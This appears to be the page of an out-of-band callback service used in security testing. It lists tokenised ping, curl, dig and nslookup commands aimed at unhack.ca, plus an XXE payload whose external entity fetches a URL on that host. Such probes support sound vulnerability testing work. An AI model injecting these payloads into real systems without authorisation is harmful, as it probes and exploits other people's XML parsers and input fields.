$ ping -c1 -p 00ab82ead6a092ed70676f70d9333b00 unhack.ca
 
$ curl http://unhack.ca/p/ab82ead6a092ed70676f70d9333b
 
$ dig ab82ead6a092ed70676f70d9333b @unhack.ca
 
$ dig ab82ead6a092ed70676f70d9333b.ns.unhack.ca
 
C:\> nslookup ab82ead6a092ed70676f70d9333b unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/ab82ead6a092ed70676f70d9333b">]>
    <foo>&xxe;</foo>
Waiting for ping...